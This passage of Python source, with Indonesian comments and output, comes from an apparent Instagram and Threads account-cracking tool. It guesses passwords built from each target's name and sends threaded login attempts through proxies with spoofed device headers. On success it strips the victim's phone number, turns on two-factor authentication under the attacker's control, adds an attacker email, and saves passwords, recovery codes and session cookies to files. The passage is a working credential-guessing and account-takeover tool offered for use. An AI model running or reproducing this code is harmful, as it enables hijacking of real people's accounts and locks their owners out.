- self.bulan = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
- return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
- def Password(self, fullname):
- self.one = []
- for nama in fullname.split(' '):
- nama = nama.lower()
- if len(nama) <3: continue
- elif len(nama) == 3 or len(nama) == 4 or len(nama) == 5: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
- else: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
- return(self.one)
- def Exec_Methode(self, Kntl):
- self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
- Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result OK Tersimpan Di Folder : [bold green]/sdcard/OK/{self.result_ok}\n[bold red]•[bold white] Result 2F Tersimpan Di Folder : [bold red]/sdcard/2F/{self.result_two}\n[bold green]•[bold white] Result CP Tersimpan Di Folder : [bold yellow]/sdcard/CP/{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Result Instagram) [bold green]<[bold yellow]<[bold red]<"))
- Console(width = 65).print(Panel('[italic white]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Warning Spam) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
- with ThreadPoolExecutor(max_workers=30) as V:
- for Username_And_Fullname in dump:
- username, fullname = Username_And_Fullname.split('<=>')
- password = self.Password(fullname)
- if Kntl in ('1'): V.submit(self.ExecApi, username,password)
- elif Kntl in ('2'): V.submit(self.ExecApi_Threads, username,password)
- elif Kntl in ('3'): V.submit(self.ExecAjax, username,password)
- elif Kntl in ('4'): V.submit(self.ExecAjax_Threads, username,password)
- else: V.submit(self.ExecApi, username,password)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil OK, [bold yellow]{self.chekpoint}[bold white] Hasil Checkpoint Dan [bold red]{self.faktor}[bold white] Hasil Two Faktor, Dari {len(dump)} Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Selesai) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def ExecApi(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white] ", end='\r')
- for passwd in password:
- try:
- hash = hashlib.md5()
- hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
- hex_ = hash.hexdigest()
- hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
- curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.{"id":"{str(str(uuid.uuid4()))}","server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"}','ig_sig_key_version': '4'}, allow_redirects=True)
- headers = {
- 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
- 'x-ig-app-locale': 'in_ID',
- 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
- 'x-ig-device-locale': 'in_ID',
- 'x-ig-mapped-locale': 'id_ID',
- 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
- 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
- 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
- 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
- 'x-ig-timezone-offset': str(-time.timezone),
- 'x-ig-connection-type': 'MOBILE(LTE)',
- 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
- 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
- 'x-ig-app-id': '567067343352427',
- 'priority': 'u=3',
- 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
- 'user-agent': Useragent().useragent_api(),
- 'accept-language': 'id-ID, en-US',
- 'x-bloks-is-layout-rtl': 'false',
- 'x-ig-device-id': f'{str(uuid.uuid4())}',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'i.instagram.com',
- 'x-fb-http-engine': 'Liger',
- 'x-fb-client-ip': 'True',
- 'x-fb-server-cluster': 'True',
- 'x-fb-connection-type': 'MOBILE.LTE',
- 'connection': 'keep-alive',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- }
- payload = json.dumps({
- 'username':username,
- 'phone_id': str(uuid.uuid4()),
- '_csrftoken': curl.cookies.get('csrftoken',None),
- 'guid': str(uuid.uuid4()),
- 'device_id': 'android-'+str(uuid.uuid4()),
- 'login_attempt_count': '0',
- 'enc_password':Requre().enc_password(passwd)
- }
- )
- encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'logged_in_user' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- true = tree.add(f'\r╭ auth secure account',style='green')
- true.add(f'stats two {stat2fa}')
- true.add(f'screetkey {key}')
- true.add(f'pemulihan {kode}')
- true.add(f'telephone {deleted}')
- true.add(f'add email {email} {statd}')
- true.add(f'web email {inbx}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged two factor ',style='red')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='red')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged challenge ',style='yellow')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='yellow')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else:
- continue
- except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecApi(username, password)
- self.looping+=1
- def ExecApi_Threads(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white] ", end='\r')
- for passwd in password:
- try:
- hash = hashlib.md5()
- hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
- hex_ = hash.hexdigest()
- hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
- headers = {
- 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
- 'x-ig-app-locale': 'in_ID',
- 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
- 'x-ig-device-locale': 'in_ID',
- 'x-ig-mapped-locale': 'id_ID',
- 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
- 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
- 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
- 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
- 'x-ig-timezone-offset': str(-time.timezone),
- 'x-ig-connection-type': 'MOBILE(LTE)',
- 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
- 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
- 'x-ig-app-id': '567067343352427',
- 'priority': 'u=3',
- 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
- 'user-agent': Useragent().useragent_api(),
- 'accept-language': 'id-ID, en-US',
- 'x-bloks-is-layout-rtl': 'false',
- 'x-ig-device-id': f'{str(uuid.uuid4())}',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'i.instagram.com',
- 'x-fb-http-engine': 'Liger',
- 'x-fb-client-ip': 'True',
- 'x-fb-server-cluster': 'True',
- 'x-fb-connection-type': 'MOBILE.LTE',
- 'connection': 'keep-alive',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- }
- encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=5f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73')
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
- self.success+=1
- authorization = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
- try: cookie = json.loads(base64.urlsafe_b64decode(authorization.split('Bearer IGT:2:')[1]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- true = tree.add(f'\r╭ auth secure account',style='green')
- true.add(f'stats two {stat2fa}')
- true.add(f'screetkey {key}')
- true.add(f'pemulihan {kode}')
- true.add(f'telephone {deleted}')
- true.add(f'add email {email} {statd}')
- true.add(f'web email {inbx}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged two factor ',style='red')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='red')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged challenge ',style='yellow')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='yellow')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else:
- continue
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecApi_Threads(username, password)
- self.looping+=1
- def ExecAjax(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold yellow]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white] ", end='\r')
- for passwd in password:
- try:
- curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"User-Agent":"Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)"}, allow_redirects=True)
- try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
- except: csrftoken = None
- headers = {
- 'Host': 'www.instagram.com',
- 'accept-encoding': 'gzip, deflate',
- 'accept-language': 'en-US,en;q=0.5',
- 'x-csrftoken': csrftoken,
- 'accept': '*/*',
- 'x-requested-with': 'XMLHttpRequest',
- 'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
- 'user-agent': Useragent().useragent_ajax(),
- }
- payload = {
- 'username': username,
- 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
- 'optIntoOneTap': False,
- 'queryParams': json.dumps({"hl":"en"}),
- 'stopDeletionNonce': '',
- 'trustedDeviceRecords': {}
- }
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'userId' in str(response):
- self.success+=1
- print('ok')
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- true = tree.add(f'\r╭ auth secure account',style='green')
- true.add(f'stats two {stat2fa}')
- true.add(f'screetkey {key}')
- true.add(f'pemulihan {kode}')
- true.add(f'telephone {deleted}')
- true.add(f'add email {email} {statd}')
- true.add(f'web email {inbx}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}').add(f'Useragent {headers["user-agent"]}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged two factor ',style='red')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='red')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged challenge ',style='yellow')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='yellow')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else:
- continue
- except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecAjax(username, password)
- self.looping+=1
- def ExecAjax_Threads(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] OK:-[bold green]{self.success}[bold white] CP:-[bold red]{self.chekpoint}[bold white] 2F:-[bold red]{self.faktor}[bold white] ", end='\r')
- for passwd in password:
- try:
- curl = byps.get('https://www.instagram.com/accounts/onetap/?next=%2F&hl=en', headers = {"User-Agent":"Mozilla/5.0 (Linux; Android 10; SM-G973F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36 Instagram 166.1.0.42.245 Android (29/10; 420dpi; 1080x2042; samsung; SM-G973F; beyond1; exynos9820; en_GB; 256099204)"}, allow_redirects=True)
- try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
- except: csrftoken = None
- headers = {
- 'Host': 'www.instagram.com',
- 'content-length': str(random.randint(100,2999)),
- 'x-ig-app-id': '1217981644879628',
- 'x-instagram-ajax': '1011794706',
- 'user-agent': Useragent().useragent_ajax(),
- 'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
- 'x-asbd-id': '129477',
- 'dpr': '2',
- 'x-csrftoken': csrftoken,
- 'x-requested-with': 'XMLHttpRequest',
- 'accept': '*/*',
- 'origin': 'https://www.instagram.com',
- 'sec-fetch-site': 'none',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
- 'accept-encoding': 'gzip, deflate, br',
- 'accept-language': 'en-US;q=0.5'
- }
- payload = {
- 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
- 'optIntoOneTap':'false',
- 'queryParams':json.dumps({"hl":"en"}),
- 'trustedDeviceRecords':'{}',
- 'username': username,
- }
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, proxies=proxs).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'userId' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Konfirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
